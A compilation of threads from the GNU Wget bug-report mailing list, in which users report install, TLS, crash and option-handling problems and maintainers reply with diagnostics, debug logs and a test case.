Re: Bug report

[Darshit Shah]

And what is the problem?

On Mon, Dec 11, 2023, at 18:45, Ritick sethi wrote:
> riticksethi@d7-138-10 homebrew % ln -sf ../Cellar/wget/1.16.1/bin/wget 
> ~/homebrew/bin/wget
>
> ln: /Users/riticksethi/homebrew/bin/wget: No such file or directory
> riticksethi@d7-138-10 homebrew % mkdir -p ~/homebrew/bin
> riticksethi@d7-138-10 homebrew % ln -sf 
> ../../Cellar/wget/1.16.1/bin/wget ~/homebrew/bin/wget
> #
> zsh: command not found: #
> riticksethi@d7-138-10 homebrew % ln -sf 
> ../../Cellar/wget/1.16.1/bin/wget ~/homebrew/bin/wget
> riticksethi@d7-138-10 homebrew % wget --version
> GNU Wget 1.21.4 built on darwin23.0.0.
>
> -cares +digest -gpgme +https +ipv6 +iri +large-file -metalink +nls 
> +ntlm +opie -psl +ssl/openssl 
>
> Wgetrc: 
> /opt/homebrew/etc/wgetrc (system)
> Locale: 
> /opt/homebrew/Cellar/wget/1.21.4/share/locale 
> Compile: 
> clang -DHAVE_CONFIG_H -DSYSTEM_WGETRC="/opt/homebrew/etc/wgetrc" 
> -DLOCALEDIR="/opt/homebrew/Cellar/wget/1.21.4/share/locale" -I. 
> -I../lib -I../lib -I/opt/homebrew/opt/openssl@3/include 
> -I/opt/homebrew/Cellar/libidn2/2.3.4_1/include -DNDEBUG -g -O2 
> Link: 
> clang -I/opt/homebrew/Cellar/libidn2/2.3.4_1/include -DNDEBUG -g 
> -O2 -L/opt/homebrew/Cellar/libidn2/2.3.4_1/lib -lidn2 
> -L/opt/homebrew/opt/openssl@3/lib -lssl -lcrypto -ldl -lz 
> ../lib/libgnu.a -liconv -lintl -Wl,-framework -Wl,CoreFoundation 
> -lunistring 
>
> Copyright (C) 2015 Free Software Foundation, Inc.
> License GPLv3+: GNU GPL version 3 or later
> .
> This is free software: you are free to change and redistribute it.
> There is NO WARRANTY, to the extent permitted by law.
>
> Originally written by Hrvoje Niksic .
> Please send bug reports and questions to .
>
> Regards
>
> Ritick sethi
> MSc student Sensor System Technology
> Hochschule Karlsruhe
> +49 176 2549 3112

Bug report

[Ritick sethi]

riticksethi@d7-138-10 homebrew % ln -sf ../Cellar/wget/1.16.1/bin/wget 
~/homebrew/bin/wget

ln: /Users/riticksethi/homebrew/bin/wget: No such file or directory
riticksethi@d7-138-10 homebrew % mkdir -p ~/homebrew/bin
riticksethi@d7-138-10 homebrew % ln -sf ../../Cellar/wget/1.16.1/bin/wget 
~/homebrew/bin/wget
#
zsh: command not found: #
riticksethi@d7-138-10 homebrew % ln -sf ../../Cellar/wget/1.16.1/bin/wget 
~/homebrew/bin/wget
riticksethi@d7-138-10 homebrew % wget --version
GNU Wget 1.21.4 built on darwin23.0.0.

-cares +digest -gpgme +https +ipv6 +iri +large-file -metalink +nls 
+ntlm +opie -psl +ssl/openssl 

Wgetrc: 
/opt/homebrew/etc/wgetrc (system)
Locale: 
/opt/homebrew/Cellar/wget/1.21.4/share/locale 
Compile: 
clang -DHAVE_CONFIG_H -DSYSTEM_WGETRC="/opt/homebrew/etc/wgetrc" 
-DLOCALEDIR="/opt/homebrew/Cellar/wget/1.21.4/share/locale" -I. 
-I../lib -I../lib -I/opt/homebrew/opt/openssl@3/include 
-I/opt/homebrew/Cellar/libidn2/2.3.4_1/include -DNDEBUG -g -O2 
Link: 
clang -I/opt/homebrew/Cellar/libidn2/2.3.4_1/include -DNDEBUG -g 
-O2 -L/opt/homebrew/Cellar/libidn2/2.3.4_1/lib -lidn2 
-L/opt/homebrew/opt/openssl@3/lib -lssl -lcrypto -ldl -lz 
../lib/libgnu.a -liconv -lintl -Wl,-framework -Wl,CoreFoundation 
-lunistring 

Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Originally written by Hrvoje Niksic .
Please send bug reports and questions to .

Regards

Ritick sethi
MSc student Sensor System Technology
Hochschule Karlsruhe
+49 176 2549 3112

RE: BUG REPORT

[Richard Oloko]

Hope this finds you well. wget command wount respond in termux as expected
to. I would be greatful if you would fix the bug please.

Re: Bug report on ParrotSec on wget and SSLv3

[Jeffrey Walton]

On Mon, Dec 27, 2021 at 12:50 PM Tim Rühsen  wrote:
>
> It looks like the underlying TLS/SSL library doesn't support SSLv3.
> You possibly need to build the TLS/SSL library with SSLv3 enabled.

For OpenSSL, the option is enable-ssl3:

./Configure enable-ssl3

But OpenSSL master (3.x) does not seem to honor it (or variations). It
is probably  a bug in OpenSSL's configure program.

This seems to work:

git checkout OpenSSL_1_0_0-stable && git pull
./Configure linux-x86_64 enable-ssl3

Then:

$ grep SSL3 include/openssl/opensslconf.h
$

Jeff

Re: Bug report on ParrotSec on wget and SSLv3

[Tim Rühsen]

It looks like the underlying TLS/SSL library doesn't support SSLv3.
You possibly need to build the TLS/SSL library with SSLv3 enabled.

Regards, Tim

On 27.12.21 16:38, keda...@outlook.com wrote:

XUser:~/Desktop$ wget parrotsec.org --secure-protocol=SSLv3
--2021-12-27 10:29:27--  http://parrotsec.org/
Resolving parrotsec.org (parrotsec.org)... 51.161.118.148,
2607:5300:203:7094::feed:dead:beef
Connecting to parrotsec.org (parrotsec.org)|51.161.118.148|:80...
connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://parrotsec.org/ [following]
--2021-12-27 10:29:28--  https://parrotsec.org/
OpenSSL: unimplemented 'secure-protocol' option value 2
Please report this issue to bug-wget@gnu.org




OpenPGP_signature
Description: OpenPGP digital signature

Bug report on ParrotSec on wget and SSLv3

[kedalez]

XUser:~/Desktop$ wget parrotsec.org --secure-protocol=SSLv3
--2021-12-27 10:29:27--  http://parrotsec.org/
Resolving parrotsec.org (parrotsec.org)... 51.161.118.148,
2607:5300:203:7094::feed:dead:beef
Connecting to parrotsec.org (parrotsec.org)|51.161.118.148|:80...
connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://parrotsec.org/ [following]
--2021-12-27 10:29:28--  https://parrotsec.org/
OpenSSL: unimplemented 'secure-protocol' option value 2
Please report this issue to bug-wget@gnu.org

bug report

[Ivo Antônio Clemente Júnior]

Eduardo@Eduardo-PC MINGW64 ~
$ pacman -S xfce4
erro: mingw32: signature from "Christoph Reiter (MSYS2 development key) <
reiter.christ...@gmail.com>" is marginal trust
erro: mingw64: signature from "Christoph Reiter (MSYS2 development key) <
reiter.christ...@gmail.com>" is marginal trust
erro: msys: signature from "Christoph Reiter (MSYS2 development key) <
reiter.christ...@gmail.com>" is marginal trust
erro: "mingw32" base de dados não é válida (base de dados inválida ou
corrompida (assinatura PGP))
erro: "mingw64" base de dados não é válida (base de dados inválida ou
corrompida (assinatura PGP))
erro: "msys" base de dados não é válida (base de dados inválida ou
corrompida (assinatura PGP))

-- 
Adm. Ivo Antônio Clemente Júnior
CRA SP 118564
MBA em Negócios Internacionais - FGV Management
Ribeirão Preto - São Paulo - Brasil
+ 55 16 3624 7674
+ 55 16 9 9295 0925
ivo.clemente.jun...@gmail.com
https://br.linkedin.com/pub/ivo-antônio-clemente-júnior/47/671/860

Re: bug report - firebase downloading in msys2 arch linux

[Darshit Shah]

Hi,

How does this concern GNU Wget? Why is this sent to us?

On Wed, Jul 28, 2021, at 16:45, Ivo Antônio Clemente Júnior wrote:
> [image: image.png]
> 
> 
> -- 
> Adm. Ivo Antônio Clemente Júnior
> CRA SP 118564
> MBA em Negócios Internacionais - FGV Management
> Ribeirão Preto - São Paulo - Brasil
> + 55 16 3624 7674
> + 55 16 9 9295 0925
> ivo.clemente.jun...@gmail.com
> https://br.linkedin.com/pub/ivo-antônio-clemente-júnior/47/671/860
> 
> Attachments:
> * image.png

bug report - firebase downloading in msys2 arch linux

[Ivo Antônio Clemente Júnior]

[image: image.png]


-- 
Adm. Ivo Antônio Clemente Júnior
CRA SP 118564
MBA em Negócios Internacionais - FGV Management
Ribeirão Preto - São Paulo - Brasil
+ 55 16 3624 7674
+ 55 16 9 9295 0925
ivo.clemente.jun...@gmail.com
https://br.linkedin.com/pub/ivo-antônio-clemente-júnior/47/671/860

Re: bug report - msys2 arch linux - ivo from brazil - how to fix it?

[Jeffrey Walton]

On Mon, Apr 26, 2021 at 4:12 PM Ivo Antônio Clemente Júnior
 wrote:
>
> [image: image.png]

The picture is too small. I can't read the text.

Maybe it would be a good idea to provide the actual text of the error
you are experiencing.

Jeff

bug report - msys2 arch linux - ivo from brazil - how to fix it?

[Ivo Antônio Clemente Júnior]

[image: image.png]


-- 
Adm. Ivo Antônio Clemente Júnior
CRA SP 118564
MBA em Negócios Internacionais - FGV Management
Ribeirão Preto - São Paulo - Brasil
+ 55 16 3624 7674
+ 55 16 9 9295 0925
ivo.clemente.jun...@gmail.com
https://br.linkedin.com/pub/ivo-antônio-clemente-júnior/47/671/860

bug report - ivo from brazil - how can i fix it Sir?

[Ivo Antônio Clemente Júnior]

[image: image.png]


-- 
Adm. Ivo Antônio Clemente Júnior
CRA SP 118564
MBA em Negócios Internacionais - FGV Management
Ribeirão Preto - São Paulo - Brasil
+ 55 16 3624 7674
+ 55 16 9 9295 0925
ivo.clemente.jun...@gmail.com
https://br.linkedin.com/pub/ivo-antônio-clemente-júnior/47/671/860

Bug report

[Ivo Antônio Clemente Júnior]

Hi,

I am just starting termux and anlinux in my android mobile.

I put in "wget" and appear to me to report bug to this email.

TKS,

-- 
Adm. Ivo Antônio Clemente Júnior
CRA SP 118564
MBA em Negócios Internacionais - FGV Management
Ribeirão Preto - São Paulo - Brasil
+ 55 16 3624 7674
+ 55 16 9 9295 0925
ivo.clemente.jun...@gmail.com
https://br.linkedin.com/pub/ivo-antônio-clemente-júnior/47/671/860

[Bug report] Wget doesn't respect --https-only option

[Vipul]

Hi,

Recently, I noticed a weird behavior of Wget, whose detailed description
as follows,

### Description
When I use `--https-only` option with Wget to force download over https;
it still use http protocol with non-https link and https link following
non-https link, instead of throwing an error message, like Wget2.


### Steps to reproduce
- Run following command
- A non-https link
$ wget --no-config -d --server-response --https-only 
"http://example.com;   

- A https link following non-https
$ wget --no-config -d --server-response --https-only
"https://www.gutenberg.org/ebooks/29765.txt.utf-8;


### Actual output
Wget perform download over non-https protocol.


### Expected output
Wget should throw an error message.


### Additional
I cannot reproduce this behavior on Wget2.


### System info
- Wget
GNU Wget 1.20.1 built on linux-gnu.

- OS
Debian 10 (Buster).


### Debug log
 A non-https link
$ wget --no-config -d --server-response --https-only "http://example.com;

Setting --server-response (serverresponse) to 1
Setting --server-response (serverresponse) to 1
Setting --https-only (httpsonly) to 1
Setting --https-only (httpsonly) to 1
DEBUG output created by Wget 1.20.1 on linux-gnu.

Reading HSTS entries from /home/finn/.wget-hsts
URI encoding = ‘UTF-8’
Converted file name 'index.html' (UTF-8) -> 'index.html' (UTF-8)
--2020-05-06 06:36:46--  http://example.com/
Resolving example.com (example.com)... 93.184.216.34,
2606:2800:220:1:248:1893:25c8:1946
Caching example.com => 93.184.216.34 2606:2800:220:1:248:1893:25c8:1946
Connecting to example.com (example.com)|93.184.216.34|:80... connected.
Created socket 3.
Releasing 0x555fe71ae120 (new refcount 1).

---request begin---
GET / HTTP/1.1
User-Agent: Wget/1.20.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: example.com
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response...
---response begin---
HTTP/1.1 200 OK
Age: 473419
Cache-Control: max-age=604800
Content-Type: text/html; charset=UTF-8
Date: Wed, 06 May 2020 01:06:51 GMT
Etag: "3147526947+ident"
Expires: Wed, 13 May 2020 01:06:51 GMT
Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
Server: ECS (nyb/1D0F)
Vary: Accept-Encoding
X-Cache: HIT
Content-Length: 1256

---response end---

  HTTP/1.1 200 OK
  Age: 473419
  Cache-Control: max-age=604800
  Content-Type: text/html; charset=UTF-8
  Date: Wed, 06 May 2020 01:06:51 GMT
  Etag: "3147526947+ident"
  Expires: Wed, 13 May 2020 01:06:51 GMT
  Last-Modified: Thu, 17 Oct 2019 07:18:26 GMT
  Server: ECS (nyb/1D0F)
  Vary: Accept-Encoding
  X-Cache: HIT
  Content-Length: 1256
Registered socket 3 for persistent reuse.
URI content encoding = ‘UTF-8’
Length: 1256 (1.2K) [text/html]
Saving to: ‘index.html’

index.html
100%[>]
1.23K  --.-KB/sin 0s

2020-05-06 06:36:52 (128 MB/s) - ‘index.html’ saved [1256/1256]



 A https link follows non-https link
$ wget --no-config -d --server-response --https-only
"https://www.gutenberg.org/ebooks/29765.txt.utf-8;

Setting --server-response (serverresponse) to 1
Setting --server-response (serverresponse) to 1
Setting --https-only (httpsonly) to 1
Setting --https-only (httpsonly) to 1
DEBUG output created by Wget 1.20.1 on linux-gnu.

Reading HSTS entries from /home/finn/.wget-hsts
URI encoding = ‘UTF-8’
Converted file name '29765.txt.utf-8' (UTF-8) -> '29765.txt.utf-8' (UTF-8)
--2020-05-06 06:39:04--  https://www.gutenberg.org/ebooks/29765.txt.utf-8
Certificates loaded: 128
Resolving www.gutenberg.org (www.gutenberg.org)... 152.19.134.47,
2610:28:3090:3000:0:bad:cafe:47
Caching www.gutenberg.org => 152.19.134.47 2610:28:3090:3000:0:bad:cafe:47
Connecting to www.gutenberg.org
(www.gutenberg.org)|152.19.134.47|:443... connected.
Created socket 3.
Releasing 0x555c4eed1340 (new refcount 1).

---request begin---
GET /ebooks/29765.txt.utf-8 HTTP/1.1
User-Agent: Wget/1.20.1 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: www.gutenberg.org
Connection: Keep-Alive

---request end---
HTTP request sent, awaiting response...
---response begin---
HTTP/1.1 302 Found
Server: Apache
Location: http://www.gutenberg.org/cache/epub/29765/pg29765.txt
Content-Type: text/html; charset=iso-8859-1
X-Powered-By: 2
X-Cacheable: NO: beresp.status
Content-Length: 304
Date: Wed, 06 May 2020 01:10:04 GMT
X-Varnish: 1328227108
Age: 0
Via: 1.1 varnish

---response end---

  HTTP/1.1 302 Found
  Server: Apache
  Location: http://www.gutenberg.org/cache/epub/29765/pg29765.txt
  Content-Type: text/html; charset=iso-8859-1
  X-Powered-By: 2
  X-Cacheable: NO: beresp.status
  Content-Length: 304
  Date: Wed, 06 May 2020 01:10:04 GMT
  X-Varnish: 1328227108
  Age: 0
  Via: 1.1 varnish
Registered socket 3 for persistent reuse.
URI content encoding = ‘iso-8859-1’
Location: http://www.gutenberg.org/cache/epub/29765/pg29765.txt [following]
Skipping 304 bytes of body: [

302 Found

Found
The document has moved 

Re: [Bug-wget] bug report of installing texlive 2018 windows

[Dagobert Michelsen]

Hi Fenghao,

Am 10.05.2018 um 07:43 schrieb Fenghao Xu :
> I met a problem when installing texlive 2018 windows. Can you help figure out 
> what went wrong? Below is a copy of code from install-tl-window.bat.

Your problem does not seem to be related with wget, but with the installation
of texlive itself. I suggest to ask on the texlive mailing list for help 
instead.


Best regards

  — Dago

-- 
"You don't become great by trying to be great, you become great by wanting to 
do something,
and then doing it so hard that you become great in the process." - xkcd #896

[Bug-wget] bug report of installing texlive 2018 windows

[Fenghao Xu]

Hi, 


I met a problem when installing texlive 2018 windows. Can you help figure out 
what went wrong? Below is a copy of code from install-tl-window.bat.


thanks a lot.





PATH=G:\tlpkg\tlperl\bin;C:\Users\fhxu\AppData\Local\Microsoft\WindowsApps
"G:\install-tl"
Use of uninitialized value $ver in scalar chomp at G:/tlpkg/TeXLive/TLWinGoo.pm 
line 206.
Use of uninitialized value $ver in substitution (s///) at 
G:/tlpkg/TeXLive/TLWinGoo.pm line 207.
Use of uninitialized value $ver in substitution (s///) at 
G:/tlpkg/TeXLive/TLWinGoo.pm line 207.
Can't spawn "cmd.exe": No such file or directory at G:/tlpkg/TeXLive/TLUtils.pm 
line 2254.
TeXLive::TLUtils::setup_programs (w32) failed at G:/tlpkg/TeXLive/TLUtils.pm 
line 2256.
G:\tlpkg\installer\xz\xzdec.exe --help failed (status 65280): No such file or 
directory
Output is:
Usage: xzdec [OPTION]... [FILE]...
Decompress files in the .xz format to standard output.


  -d, --decompress   (ignored, only decompression is supported)
  -k, --keep (ignored, files are never deleted)
  -c, --stdout   (ignored, output is always written to standard output)
  -q, --quietspecify *twice* to suppress errors
  -Q, --no-warn  (ignored, the exit status 2 is never used)
  -h, --help display this help and exit
  -V, --version  display the version number and exit


With no FILE, or when FILE is -, read standard input.


Report bugs to  (in English or Finnish).
XZ Utils home page: 


Can't spawn "cmd.exe": No such file or directory at G:/tlpkg/TeXLive/TLUtils.pm 
line 2254.
TeXLive::TLUtils::setup_programs (w32) failed at G:/tlpkg/TeXLive/TLUtils.pm 
line 2256.
G:\tlpkg\installer\wget\wget.exe --version failed (status 65280): No such file 
or directory
Output is:
GNU Wget 1.19.1 built on mingw32.


-cares +digest -gpgme +https +ipv6 -iri +large-file -metalink -nls
-ntlm +opie -psl +ssl/gnutls


Wgetrc:
C:/usr/anothermsys/local/etc/wgetrc (system)
Compile:
gcc -DHAVE_CONFIG_H -DSYSTEM_WGETRC="/usr/local/etc/wgetrc"
-DLOCALEDIR="/usr/local/share/locale" -I. -I../lib -I../lib
-I/usr/local/include -DNDEBUG -static
Link:
gcc -DNDEBUG -static /usr/local/lib/libgnutls.a -lz -lws2_32
/usr/local/lib/libnettle.a /usr/local/lib/libhogweed.a
/usr/local/lib/libgmp.a -lcrypt32 -lz -lws2_32 ftp-opie.o
mswindows.o gnutls.o ../lib/libgnu.a -lws2_32 -lws2_32 -lws2_32
-lws2_32 /usr/local/lib/libiconv.a -lws2_32


Copyright (C) 2015 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later
.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.


Originally written by Hrvoje Niksic .
Please send bug reports and questions to .


G:\install-tl: Goodbye.


--

--
Fenghao Xu
Senior Student, Department of Physics
University of Science and Technology of China
Jinzhai Road 96, 230026 Hefei, PRC
Email: f...@mail.ustc.edu.cn
Phone: +86 18856034266

[Bug-wget] bug report

[Dave Tholen]

Windows 10 Professional 64-bit
wget 1.19.4 64-bit binary

Windows pops up a window saying "wget has stopped working".
No other details.  Consistently happens, but after an inconsistent
number of files have been transferred.  Managed to transfer as many
as 6000 files, but there were 54000 still to go.

A Google search found others experiencing similar failures.  One
suggested that a workaround is to use the -o option to divert output
to a log file rather than the command prompt window.  I'm trying that
right now.  If true, it may help narrow down where the problem is.

[Bug-wget] Bug Report - Gnu Wget 1.14 double free or corruption

[Dwight Jennings]

I hope this helps.
thanks


GNU Wget 1.14

Debian Jessie/Sid  ( actually the O.S. is linux mint debian edition )



*** Error in `wget': double free or corruption (out): 0x08735280 ***
=== Backtrace: =
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x75e52)[0xb74c5e52]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x76b90)[0xb74c6b90]
wget[0x8079dd4]
wget[0x804c0f3]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xf5)[0xb74698c5]
wget[0x804cac4]
=== Memory map: 
08048000-080a6000 r-xp  08:05 1577050/usr/bin/wget
080a6000-080a7000 r--p 0005d000 08:05 1577050/usr/bin/wget
080a7000-080ab000 rw-p 0005e000 08:05 1577050/usr/bin/wget
080ab000-080b rw-p  00:00 0 
08731000-08752000 rw-p  00:00 0  [heap]
b710d000-b7128000 r-xp  08:05 523349 
/lib/i386-linux-gnu/libgcc_s.so.1
b7128000-b7129000 rw-p 0001a000 08:05 523349 
/lib/i386-linux-gnu/libgcc_s.so.1
b7129000-b713c000 r-xp  08:05 525262 
/lib/i386-linux-gnu/i686/cmov/libresolv-2.17.so
b713c000-b713d000 r--p 00012000 08:05 525262 
/lib/i386-linux-gnu/i686/cmov/libresolv-2.17.so
b713d000-b713e000 rw-p 00013000 08:05 525262 
/lib/i386-linux-gnu/i686/cmov/libresolv-2.17.so
b713e000-b714 rw-p  00:00 0 
b7163000-b72ec000 r--p  08:05 1570408/usr/lib/locale/locale-archive
b72ec000-b72ee000 rw-p  00:00 0 
b72ee000-b7305000 r-xp  08:05 523347 
/lib/i386-linux-gnu/i686/cmov/libpthread-2.17.so
b7305000-b7306000 r--p 00016000 08:05 523347 
/lib/i386-linux-gnu/i686/cmov/libpthread-2.17.so
b7306000-b7307000 rw-p 00017000 08:05 523347 
/lib/i386-linux-gnu/i686/cmov/libpthread-2.17.so
b7307000-b730a000 rw-p  00:00 0 
b730a000-b730d000 r-xp  08:05 523824 
/lib/i386-linux-gnu/i686/cmov/libdl-2.17.so
b730d000-b730e000 r--p 2000 08:05 523824 
/lib/i386-linux-gnu/i686/cmov/libdl-2.17.so
b730e000-b730f000 rw-p 3000 08:05 523824 
/lib/i386-linux-gnu/i686/cmov/libdl-2.17.so
b730f000-b7314000 r-xp  08:05 1570525
/usr/lib/i386-linux-gnu/libffi.so.6.0.1
b7314000-b7315000 r--p 5000 08:05 1570525
/usr/lib/i386-linux-gnu/libffi.so.6.0.1
b7315000-b7316000 rw-p 6000 08:05 1570525
/usr/lib/i386-linux-gnu/libffi.so.6.0.1
b7316000-b7395000 r-xp  08:05 1573553
/usr/lib/i386-linux-gnu/libgmp.so.10.1.2
b7395000-b7396000 r--p 0007e000 08:05 1573553
/usr/lib/i386-linux-gnu/libgmp.so.10.1.2
b7396000-b739d000 rw-p 0007f000 08:05 1573553
/usr/lib/i386-linux-gnu/libgmp.so.10.1.2
b739d000-b73c9000 r-xp  08:05 1577036
/usr/lib/i386-linux-gnu/libhogweed.so.2.5
b73c9000-b73ca000 r--p 0002b000 08:05 1577036
/usr/lib/i386-linux-gnu/libhogweed.so.2.5
b73ca000-b73cb000 rw-p 0002c000 08:05 1577036
/usr/lib/i386-linux-gnu/libhogweed.so.2.5
b73cb000-b73fc000 r-xp  08:05 1573448
/usr/lib/i386-linux-gnu/libnettle.so.4.7
b73fc000-b73fd000 ---p 00031000 08:05 1573448
/usr/lib/i386-linux-gnu/libnettle.so.4.7
b73fd000-b73fe000 r--p 00031000 08:05 1573448
/usr/lib/i386-linux-gnu/libnettle.so.4.7
b73fe000-b73ff000 rw-p 00032000 08:05 1573448
/usr/lib/i386-linux-gnu/libnettle.so.4.7
b73ff000-b740 rw-p  00:00 0 
b740-b7412000 r-xp  08:05 1570302
/usr/lib/i386-linux-gnu/libtasn1.so.6.2.0
b7412000-b7413000 r--p 00011000 08:05 1570302
/usr/lib/i386-linux-gnu/libtasn1.so.6.2.0
b7413000-b7414000 rw-p 00012000 08:05 1570302
/usr/lib/i386-linux-gnu/libtasn1.so.6.2.0
b7414000-b744b000 r-xp  08:05 1573025
/usr/lib/i386-linux-gnu/libp11-kit.so.0.0.0
b744b000-b744c000 ---p 00037000 08:05 1573025
/usr/lib/i386-linux-gnu/libp11-kit.so.0.0.0
b744c000-b744f000 r--p 00037000 08:05 1573025
/usr/lib/i386-linux-gnu/libp11-kit.so.0.0.0
b744f000-b745 rw-p 0003a000 08:05 1573025
/usr/lib/i386-linux-gnu/libp11-kit.so.0.0.0
b745-b75fa000 r-xp  08:05 523679 
/lib/i386-linux-gnu/i686/cmov/libc-2.17.so
b75fa000-b75fc000 r--p 001aa000 08:05 523679 
/lib/i386-linux-gnu/i686/cmov/libc-2.17.so
b75fc000-b75fd000 rw-p 001ac000 08:05 523679 
/lib/i386-linux-gnu/i686/cmov/libc-2.17.so
b75fd000-b760 rw-p  00:00 0 
b760-b7604000 r-xp  08:05 523829 
/lib/i386-linux-gnu/libuuid.so.1.3.0
b7604000-b7605000 r--p 3000 08:05 523829 
/lib/i386-linux-gnu/libuuid.so.1.3.0
b7605000-b7606000 rw-p 4000 08:05 523829 
/lib/i386-linux-gnu/libuuid.so.1.3.0
b7606000-b7637000 r-xp  08:05 1574420
/usr/lib/i386-linux-gnu/libidn.so.11.6.11
b7637000-b7638000 r--p 0003 08:05 1574420
/usr/lib/i386-linux-gnu/libidn.so.11.6.11
b7638000-b7639000 rw-p 00031000 08:05 1574420
/usr/lib/i386-linux-gnu/libidn.so.11.6.11
b7639000-b763a000 rw-p  00:00 0 
b763a000-b7651000 r-xp  08:05 524413 
/lib/i386-linux-gnu/libz.so.1.2.8
b7651000-b7652000 r--p 00016000 08:05 524413 
/lib/i386-linux-gnu/libz.so.1.2.8
b7652000-b7653000 rw-p 00017000 

[Bug-wget] Bug report: --content-disposition option disables --continue

[Eternal Sorrow]

When I set option content-disposition either in command line or in
wgetrc, wget refuses to resume download of partially-downloaded file
with --continue command line option and strarts download from begining.

Re: [Bug-wget] Bug report: --content-disposition option disables --continue

[Yousong Zhou]

On 2 January 2014 07:08, Eternal Sorrow sergam...@inbox.ru wrote:
 When I set option content-disposition either in command line or in
 wgetrc, wget refuses to resume download of partially-downloaded file
 with --continue command line option and strarts download from begining.

I tried the following comand and it worked.

wget -d -c --quota=1 --content-disposition
http://greenbytes.de/tech/tc2231/attfnboth.asis

--content-disposition support in wget is experimental. I think many
cases are not covered.

It will help if the following information can be provided.
 - Content-Disposition header from the server response.
 - The filename of the partially downloaded file.
 - The filename wget tried to write into.
 - If possible, the minimal command to reproduce.


   yousong

Re: [Bug-wget] Bug report: --content-disposition option disables --continue

[Darshit Shah]

I set up a test case and I can replicate this report.

The problem occurs despite the fact that Wget sends a HEAD request first to
parse the filename. Before the second request to the server, Wget does not
check the local file for existence and hence --continue does not have any
effect.

The complete debug output from my test case is below:

Running Test Content Disposition Header

 /home/sauron/Programming/wget/src/wget -d -c --content-disposition
 127.0.0.1:60715/LOTR

 ['/home/sauron/Programming/wget/src/wget', '-d', '-c',
 '--content-disposition', '127.0.0.1:60715/LOTR']

 Setting --continue (continue) to 1

 Setting --content-disposition (contentdisposition) to 1

 DEBUG output created by Wget 1.14.235-f5626-dirty on linux-gnu.


 URI encoding = ‘UTF-8’

 --2014-01-02 10:49:42--  http://127.0.0.1:60715/LOTR

 Connecting to 127.0.0.1:60715... connected.

 Created socket 3.

 Releasing 0x02342a90 (new refcount 0).

 Deleting unused 0x02342a90.


 ---request begin---

 HEAD /LOTR HTTP/1.1

 User-Agent: Wget/1.14.235-f5626-dirty (linux-gnu)

 Accept: */*

 Host: 127.0.0.1:60715

 Connection: Keep-Alive


 ---request end---

 HTTP request sent, awaiting response... 127.0.0.1 - - [02/Jan/2014
 10:49:42] HEAD /LOTR HTTP/1.1 200 -


 ---response begin---

 HTTP/1.1 200 OK

 Server: BaseHTTP/0.6 Python/3.3.3

 Date: Thu, 02 Jan 2014 05:19:42 GMT

 Content-type: text/plain

 Content-Length: 358

 Content-Disposition: Attachment; filename=JRR.Tolkein


 ---response end---

 200 OK

 Parsed filename from Content-Disposition: JRR.Tolkein

 Length: 358 [text/plain]

 Registered socket 3 for persistent reuse.

 --2014-01-02 10:49:42--  http://127.0.0.1:60715/LOTR

 Reusing existing connection to 127.0.0.1:60715.

 Reusing fd 3.


 ---request begin---

 GET /LOTR HTTP/1.1

 User-Agent: Wget/1.14.235-f5626-dirty (linux-gnu)

 Accept: */*

 Host: 127.0.0.1:60715

 Connection: Keep-Alive


 ---request end---

 127.0.0.1 - - [02/Jan/2014 10:49:42] GET /LOTR HTTP/1.1 200 -

 HTTP request sent, awaiting response...

 ---response begin---

 HTTP/1.1 200 OK

 Server: BaseHTTP/0.6 Python/3.3.3

 Date: Thu, 02 Jan 2014 05:19:42 GMT

 Content-type: text/plain

 Content-Length: 358

 Content-Disposition: Attachment; filename=JRR.Tolkein


 ---response end---

 200 OK

 Length: 358 [text/plain]

 Saving to: ‘JRR.Tolkein’


 100% 
 http://127.0.0.1:60715/LOTR[===]
 358 --.-K/s


 Registered socket 3 for persistent reuse.

 2014-01-02 10:49:42 (9.48 KB/s) - ‘JRR.Tolkein’ saved [358/358]


 --- Actual

 +++ Expected

 @@ -88,33 +88,33 @@

 Error: Contents of JRR.Tolkein do not match

  h e  -o-l-d- -t-h-a-t- -i-s- -s-t-r-o-n-g- -d-o-e-s- -n-o-t+n+e+w+
 +t+h+a+t+ +i+s+ +n+o+t+ +s+t+r+o+n+g+ +d+o+e+s   w i



This test was specifically created to fail when Wget does not continue the
download. The test was written in the new Python based test environment and
I'll send a patch with this test soon. (Hopefully with a patch that
corrects the issue)


On Thu, Jan 2, 2014 at 10:09 AM, Yousong Zhou yszhou4t...@gmail.com wrote:

 On 2 January 2014 07:08, Eternal Sorrow sergam...@inbox.ru wrote:
  When I set option content-disposition either in command line or in
  wgetrc, wget refuses to resume download of partially-downloaded file
  with --continue command line option and strarts download from begining.

 I tried the following comand and it worked.

 wget -d -c --quota=1 --content-disposition
 http://greenbytes.de/tech/tc2231/attfnboth.asis

 --content-disposition support in wget is experimental. I think many
 cases are not covered.

 It will help if the following information can be provided.
  - Content-Disposition header from the server response.
  - The filename of the partially downloaded file.
  - The filename wget tried to write into.
  - If possible, the minimal command to reproduce.


yousong




-- 
Thanking You,
Darshit Shah

Re: [Bug-wget] Bug Report: Windows GNU Wget 1.11.4 - Keeping session cookies

[Bykov Aleksey]

Greetings.

Chances are you don't just miss wget as a tool on Windows, so maybe:
Sorry, i'm very bad in English and cannot understood meaning of this  
phrase.
I'm often use (and made recommendation to use) wget as tool in windows  
(version 1.11.4 in Win98, 1.14 in WinXP and Vista/7).



In theory one could take the Cygwin package containing wget.exe, unpack
manually, throw things in a folder, start it, see which .dll(s) it
wants, also download packages containing said .dll(s), also unpack /
throw in same folder, repeat until it runs. However, that's an
unsupported configuration for Cygwin, so don't expect any help from them
if anything unexpected happens.
Thanks, i know about this variant. Yes, it work. Yes, behaviour is  
slightly differ (but it work normally). But i'm not sure about it  
preferable in compare to single-file lastest build by TumaGonx Zakkum.


Also, before wrote message i had check is Cygwin hold lastest release. and  
